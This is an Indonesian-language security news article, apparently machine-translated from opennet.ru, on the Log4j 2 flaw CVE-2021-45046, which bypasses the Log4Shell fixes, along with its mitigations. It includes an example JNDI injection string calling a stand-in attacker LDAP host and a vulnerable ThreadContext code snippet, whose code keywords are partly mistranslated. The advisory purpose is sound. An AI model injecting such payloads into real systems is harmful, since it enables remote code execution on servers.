Kerentanan lain telah diidentifikasi dalam penerapan pencarian JNDI di perpustakaan Log4j 2 (CVE-2021-45046), yang muncul meskipun perbaikan ditambahkan pada rilis 2.15 dan terlepas dari penggunaan pengaturan “log4j2.noFormatMsgLookup” untuk perlindungan. Masalahnya berbahaya terutama untuk versi Log4j 2 yang lebih lama, dilindungi menggunakan tanda “noFormatMsgLookup”, karena memungkinkan untuk melewati perlindungan dari kerentanan sebelumnya (Log4Shell, CVE-2021-44228), yang memungkinkan Anda untuk mengeksekusi kode Anda di server. Bagi pengguna versi 2.15, eksploitasi hanya sebatas menyebabkan aplikasi crash karena habisnya sumber daya yang tersedia.
Kerentanan hanya muncul pada sistem yang menggunakan Pencarian Konteks untuk pencatatan, seperti ${ctx:loginId}, atau templat MDC (Thread Context Map), seperti %X, %mdc, dan %MDC. Operasi ini bertujuan untuk menciptakan kondisi untuk mengeluarkan data yang berisi substitusi JNDI ke log saat menggunakan kueri konteks atau templat MDC dalam aplikasi yang menentukan aturan untuk memformat keluaran ke log.
Para peneliti dari LunaSec mencatat bahwa untuk versi Log4j kurang dari 2.15, kerentanan ini dapat digunakan sebagai vektor baru untuk serangan Log4Shell, yang mengarah ke eksekusi kode, jika ekspresi ThreadContext yang menyertakan data eksternal digunakan dalam keluaran log, terlepas dari apakah log tersebut bendera "melindungi" diaktifkan. noMsgFormatLookups" atau templat "%m{nolookups}".
Melewati perlindungan berarti bahwa alih-alih substitusi langsung “${jndi:ldap://menyerang.com/a}”, ekspresi ini digantikan melalui nilai variabel perantara yang digunakan dalam aturan untuk memformat keluaran log . Misalnya, jika kueri konteks ${ctx:apiversion} digunakan saat mengeluarkan log, maka serangan dapat dilakukan dengan mengganti data “${jndi:ldap://serangan.com/a}” ke dalam nilai yang ditulis ke variabel apiversion. Contoh kode yang rentan: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Nilai header HTTP "X-Api-Version" diteruskan ke ThreadContext ThreadContext.put("apiversion ", versi api ); // Saat mengeluarkan ke log, nilai apiversion eksternal akan diproses menggunakan substitusi ${ctx:apiversion} logger.info("Menerima permintaan untuk versi API"); kembali "Halo dunia!"; }
Di Log4j versi 2.15, kerentanan dapat digunakan untuk melakukan serangan DoS saat meneruskan nilai ke ThreadContext, yang mengakibatkan loop dalam pemrosesan templat pemformatan keluaran.
Untuk memblokir kerentanan, pembaruan 2.16 dan 2.12.2 diterbitkan. Di cabang Log4j 2.16, selain perbaikan yang diterapkan di versi 2.15 dan pengikatan permintaan LDAP JNDI ke “localhost”, fungsionalitas JNDI sepenuhnya dinonaktifkan secara default dan dukungan untuk templat substitusi pesan dihapus. Sebagai solusi keamanan, disarankan untuk menghapus kelas JndiLookup dari classpath (misalnya, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .
Anda dapat melacak kemunculan perbaikan dalam paket di halaman distribusi (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) dan produsen platform Java (GitHub, Docker, Oracle, vmWare, Broadcom dan Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, dll.).
Sumber: opennet.ru